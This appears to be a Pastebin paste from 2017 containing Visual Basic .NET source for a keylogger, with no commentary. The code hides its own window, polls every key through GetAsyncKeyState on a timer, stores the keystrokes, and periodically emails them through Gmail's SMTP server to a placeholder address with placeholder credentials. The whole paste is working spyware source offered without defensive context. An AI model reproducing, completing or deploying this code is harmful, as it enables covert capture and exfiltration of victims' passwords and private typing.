Advertisement
Guest User

Untitled

a guest
Mar 6th, 2017
144
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.22 KB | None | 0 0
  1. [code]
  2. Imports System.Net.Mail
  3. Public Class Form1
  4.  
  5.  
  6. Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
  7. Dim MyMailMessage As New MailMessage
  8. MyMailMessage.From = New MailAddress("xxx@gmail.com")
  9. MyMailMessage.To.Add("xxx@gmail.com")
  10. MyMailMessage.Subject = ("KL")
  11. MyMailMessage.Body = RichTextBox1.Text
  12. Dim SMTPServer As New SmtpClient("smtp.gmail.com")
  13. SMTPServer.Port = 587
  14. SMTPServer.Credentials = New System.Net.NetworkCredential("xxx@gmail.com", "xxx")
  15. SMTPServer.EnableSsl = True
  16. SMTPServer.Send(MyMailMessage)
  17. RichTextBox1.Text = ("")
  18. End Sub
  19. Dim result As Integer
  20. Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Int32) As Int16
  21. Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  22. Me.Hide()
  23. Me.Visible = False
  24. For i = 1 To 255
  25. result = 0
  26. result = GetAsyncKeyState(i)
  27. If result = -32767 Then
  28. RichTextBox1.Text = RichTextBox1.Text + Chr(i)
  29. End If
  30. Next i
  31. End Sub
  32. End Class
  33. [/code]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement